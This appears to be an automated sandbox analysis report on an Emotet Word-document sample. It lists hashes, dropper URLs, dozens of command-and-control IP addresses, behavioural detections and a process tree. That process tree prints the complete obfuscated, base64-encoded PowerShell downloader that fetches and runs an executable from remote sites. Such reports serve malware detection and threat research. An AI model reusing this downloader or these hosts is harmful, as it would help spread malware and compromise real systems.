Analysis
- max time kernel
135s - max time network
150s - platform
windows10_x64 - resource
win10v200722 - submitted
26/08/2020, 22:42
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_06497cac03f00079d4e030f6a685f5e8afe101365347eb64931e4f37b8e64b59_2020-08-26__224110._doc.doc
Resource
win7v200722
General
- Target emotet_e3_06497cac03f00079d4e030f6a685f5e8afe101365347eb64931e4f37b8e64b59_2020-08-26__224110._doc.doc
- Size 230KB
- Sample200826-g7rx82676x
- SHA256 06497cac03f00079d4e030f6a685f5e8afe101365347eb64931e4f37b8e64b59
- MD5 e7cc98de8045a5c20c76351db70b97b3
- SHA1 43fef72749f02bf8225ac2f0ff9c46878ee593b6
- SHA512 b4ec960e356fd55bc9334266f2060f995648bc95034bd8c6ec70d103056a2b4214819ead58a71a1c4d6e5404c299e05eaeb3851324dea1748dff42167635b529
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
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exe.dropper
http://www.riserproperty.com/wp-content/SMXB/
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exe.dropper
http://laurenebohn.com/bGOHy/8qa07472/
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exe.dropper
http://lezliedavis.com/swift/5TQW6sf32736/
-
exe.dropper
http://cityplanter.co.uk/zy0b9r0s/lTZlc101auo37/
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exe.dropper
http://farooquie.com/wp-admin/da52f6268411/
-
exe.dropper
https://onejmd.com/wp-content/xmO/
-
exe.dropper
https://s1.finmsb.com/uc_autoscripts/AcpPvTthOX/
Extracted
-
emotet
-
88.249.181.198:443
-
65.156.53.186:8080
-
68.183.233.80:8080
-
185.81.158.15:8080
-
37.187.100.220:7080
-
60.125.114.64:443
-
201.235.10.215:80
-
81.214.253.80:443
-
118.101.24.148:80
-
181.126.54.234:80
-
197.232.36.108:80
-
178.87.171.199:80
-
139.99.157.213:8080
-
115.79.195.246:80
-
177.94.227.143:80
-
113.161.148.81:80
-
192.210.217.94:8080
-
173.94.215.84:80
-
112.78.142.170:80
-
217.199.160.224:8080
-
181.137.229.1:80
-
190.53.144.120:80
-
85.25.207.108:8080
-
168.0.97.6:80
-
185.86.148.68:443
-
91.83.93.103:443
-
75.127.14.170:8080
-
37.46.129.215:8080
-
81.17.93.134:80
-
71.57.180.213:80
-
115.78.11.155:80
-
95.216.205.155:8080
-
179.5.118.12:80
-
113.203.250.121:443
-
185.208.226.142:8080
-
1.54.67.22:80
-
51.38.201.19:7080
-
77.74.78.80:443
-
202.5.47.71:80
-
157.245.138.101:7080
-
175.29.183.2:80
-
74.208.173.91:8080
-
78.189.60.109:443
-
178.33.167.120:8080
-
220.254.198.228:443
-
192.163.221.191:8080
-
203.153.216.178:7080
-
162.249.220.190:80
-
82.239.200.118:80
-
105.209.235.113:8080
-
190.55.186.229:80
-
190.164.75.175:80
-
197.221.158.162:80
-
86.57.216.23:80
-
177.32.8.85:80
-
190.212.140.6:80
-
46.32.229.152:8080
-
172.105.78.244:8080
-
45.182.161.17:80
-
87.106.231.60:8080
-
51.255.15.193:7080
-
172.96.190.154:8080
-
185.142.236.163:443
-
103.80.51.61:8080
-
157.7.164.178:8081
-
188.0.135.237:80
-
46.105.131.68:8080
-
50.116.78.109:8080
-
5.79.70.250:8080
-
179.62.238.49:80
-
177.144.130.105:443
-
192.241.220.183:8080
-
190.190.15.20:80
-
41.185.29.128:8080
-
201.213.177.139:80
-
189.39.32.161:80
-
195.201.56.70:8080
-
2.144.244.204:443
-
66.61.94.36:80
-
198.57.203.63:8080
-
86.98.143.163:80
-
188.251.213.180:443
-
181.113.229.139:443
-
143.95.101.72:8080
-
139.59.12.63:8080
-
107.161.30.122:8080
-
31.146.61.34:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1740 60 powersheLL.exe 66 - Blacklisted process makes network request 1 IoCs
flow pid Process 6 1740 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3920 O9khjkn.exe 3224 asferror.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\KBDTIFI\asferror.exe O9khjkn.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 4020 WINWORD.EXE 4020 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 1740 powersheLL.exe 1740 powersheLL.exe 1740 powersheLL.exe 3224 asferror.exe 3224 asferror.exe 3224 asferror.exe 3224 asferror.exe 3224 asferror.exe 3224 asferror.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1740 powersheLL.exe - Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 4020 WINWORD.EXE 4020 WINWORD.EXE 4020 WINWORD.EXE 4020 WINWORD.EXE 4020 WINWORD.EXE 4020 WINWORD.EXE 4020 WINWORD.EXE 4020 WINWORD.EXE 4020 WINWORD.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1740 wrote to memory of 3920 1740 powersheLL.exe 71 PID 1740 wrote to memory of 3920 1740 powersheLL.exe 71 PID 1740 wrote to memory of 3920 1740 powersheLL.exe 71 PID 3920 wrote to memory of 3224 3920 O9khjkn.exe 72 PID 3920 wrote to memory of 3224 3920 O9khjkn.exe 72 PID 3920 wrote to memory of 3224 3920 O9khjkn.exe 72
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_06497cac03f00079d4e030f6a685f5e8afe101365347eb64931e4f37b8e64b59_2020-08-26__224110._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4020
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABJAHIAcQBmAHIAZAB3AD0AKAAnAE8AJwArACgAJwB2AGoAJwArACcAbQA5AGkAJwArACcAcQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUAbgBWADoAVABFAE0AUABcAHcATwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQByAEUAQwB0AE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAYABSAEkAVABgAFkAUAByAG8AVABvAGAAQwBvAEwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxADIALAAgAHQAbAAnACsAJwBzADEAMQAnACsAJwAsACcAKQArACcAIAB0ACcAKwAnAGwAcwAnACkAOwAkAFMAcQB6AGcAaQA3AGcAIAA9ACAAKAAnAE8AOQAnACsAJwBrAGgAJwArACgAJwBqACcAKwAnAGsAbgAnACkAKQA7ACQATABnAG0AXwByADUAeAA9ACgAKAAnAFgAJwArACcAaQBsAGEAYgAnACkAKwAnAHUAJwArACcAaAAnACkAOwAkAFoAXwB2AGMAawA2ADEAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAMAB9AHcAJwArACcAbwByACcAKwAnAGQAewAwAH0AMgAwADEAJwArACcAOQAnACsAJwB7ADAAJwArACcAfQAnACkAIAAtAEYAWwBjAGgAYQBSAF0AOQAyACkAKwAkAFMAcQB6AGcAaQA3AGcAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABKAGMAdAAxAHcAbwAyAD0AKAAnAFoAJwArACgAJwBpACcAKwAnAHcAbAB2ACcAKwAnAF8AZwAnACkAKQA7ACQAWQBrAHcAawBnADUAbgA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgB3AGUAYgBjAEwASQBFAE4AVAA7ACQAVABmADYAYwBwAGcAYQA9ACgAJwBoACcAKwAoACcAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AdwB3ACcAKQArACcAdwAnACsAJwAuAHIAJwArACcAaQBzACcAKwAoACcAZQByAHAAJwArACcAcgAnACkAKwAoACcAbwBwACcAKwAnAGUAcgAnACkAKwAnAHQAJwArACgAJwB5AC4AJwArACcAYwBvAG0AJwArACcALwB3AHAALQBjACcAKQArACcAbwAnACsAJwBuACcAKwAnAHQAZQAnACsAKAAnAG4AJwArACcAdAAvAFMATQAnACkAKwAnAFgAJwArACgAJwBCAC8AKgAnACsAJwBoACcAKQArACgAJwB0ACcAKwAnAHQAcAAnACkAKwAnADoALwAnACsAKAAnAC8AbAAnACsAJwBhACcAKQArACcAdQByACcAKwAnAGUAJwArACgAJwBuACcAKwAnAGUAYgBvAGgAJwArACcAbgAuAGMAJwArACcAbwBtAC8AJwApACsAJwBiAEcAJwArACcATwAnACsAKAAnAEgAeQAnACsAJwAvACcAKwAnADgAcQBhADAANwA0ACcAKQArACgAJwA3ADIALwAqAGgAJwArACcAdAB0AHAAJwArACcAOgAnACkAKwAoACcALwAvACcAKwAnAGwAZQB6AGwAaQAnACsAJwBlAGQAYQAnACkAKwAoACcAdgBpAHMAJwArACcALgBjACcAKwAnAG8AbQAvACcAKwAnAHMAdwAnACkAKwAoACcAaQBmACcAKwAnAHQALwAnACkAKwAnADUAJwArACgAJwBUAFEAVwA2ACcAKwAnAHMAZgAzADIAJwApACsAKAAnADcAMwA2ACcAKwAnAC8AJwApACsAKAAnACoAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvAC8AYwBpACcAKwAnAHQAJwArACcAeQBwAGwAJwApACsAKAAnAGEAJwArACcAbgB0AGUAcgAuAGMAbwAnACsAJwAuACcAKQArACgAJwB1ACcAKwAnAGsAJwArACcALwB6AHkAMAAnACkAKwAoACcAYgAnACsAJwA5AHIAMABzAC8AbAAnACkAKwAoACcAVABaACcAKwAnAGwAJwApACsAJwBjACcAKwAoACcAMQAwACcAKwAnADEAJwApACsAKAAnAGEAJwArACcAdQBvACcAKQArACgAJwAzADcAJwArACcALwAqACcAKQArACgAJwBoAHQAdAAnACsAJwBwADoAJwApACsAJwAvACcAKwAoACcALwBmAGEAJwArACcAcgBvAG8AJwApACsAJwBxAHUAJwArACcAaQAnACsAJwBlAC4AJwArACcAYwBvACcAKwAoACcAbQAnACsAJwAvAHcAcAAtACcAKQArACgAJwBhAGQAJwArACcAbQAnACkAKwAoACcAaQAnACsAJwBuAC8AZABhACcAKQArACcANQAyACcAKwAnAGYAJwArACgAJwA2ACcAKwAnADIAJwArACcANgA4ADQAMQAnACsAJwAxAC8AKgBoACcAKQArACgAJwB0AHQAJwArACcAcABzACcAKQArACcAOgAnACsAKAAnAC8AJwArACcALwBvAG4AZQAnACkAKwAoACcAagAnACsAJwBtAGQALgBjACcAKQArACcAbwBtACcAKwAoACcALwB3ACcAKwAnAHAAJwArACcALQBjAG8AbgB0AGUAJwApACsAJwBuACcAKwAoACcAdAAvACcAKwAnAHgAbQAnACkAKwAoACcATwAvACcAKwAnACoAaAB0AHQAcABzADoAJwArACcALwAnACsAJwAvACcAKwAnAHMAMQAuAGYAJwArACcAaQAnACkAKwAoACcAbgBtAHMAJwArACcAYgAnACkAKwAnAC4AYwAnACsAKAAnAG8AbQAvAHUAJwArACcAYwAnACkAKwAnAF8AJwArACgAJwBhAHUAJwArACcAdABvACcAKQArACgAJwBzAGMAJwArACcAcgAnACkAKwAoACcAaQBwAHQAJwArACcAcwAvAEEAYwAnACsAJwBwAFAAJwApACsAKAAnAHYAVAB0AGgATwBYACcAKwAnAC8AJwApACkALgAiAHMAYABwAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQwB1ADEAbAAzAHgAYQA9ACgAJwBZACcAKwAoACcAbQAnACsAJwBwADEAOQBwAG8AJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABVAGQAeAB4AHMAcwAxACAAaQBuACAAJABUAGYANgBjAHAAZwBhACkAewB0AHIAeQB7ACQAWQBrAHcAawBnADUAbgAuACIARABPAFcAbgBMAGAATwBhAEQAYABGAGAAaQBsAGUAIgAoACQAVQBkAHgAeABzAHMAMQAsACAAJABaAF8AdgBjAGsANgAxACkAOwAkAFMAcAA1AGcAMwB5AGsAPQAoACcATAA1ACcAKwAoACcAXwAnACsAJwBpAGkAJwApACsAJwBtAGwAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAFoAXwB2AGMAawA2ADEAKQAuACIAbABFAG4ARwBgAFQASAAiACAALQBnAGUAIAAzADgANQA4ADkAKQAgAHsALgAoACcASQBuAHYAbwBrACcAKwAnAGUAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAoACQAWgBfAHYAYwBrADYAMQApADsAJABHADkAcwA1ADgAZAAyAD0AKAAoACcAVQAnACsAJwAzAGoAXwBiAHUAJwApACsAJwB1ACcAKQA7AGIAcgBlAGEAawA7ACQAUAB2AGcAZwBhAGoAcQA9ACgAJwBSACcAKwAnADcAJwArACgAJwA5AHgAMwBzACcAKwAnAHcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AeQB5AHMAOABnADUAPQAoACcAQgAnACsAKAAnAGUAXwA3ACcAKwAnAGEAYwAnACkAKwAnAG4AJwApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1740 -
C:\Users\Admin\AppData\Local\Temp\word\2019\O9khjkn.exe"C:\Users\Admin\AppData\Local\Temp\word\2019\O9khjkn.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3920 -
C:\Windows\SysWOW64\KBDTIFI\asferror.exe"C:\Windows\SysWOW64\KBDTIFI\asferror.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3224
-
-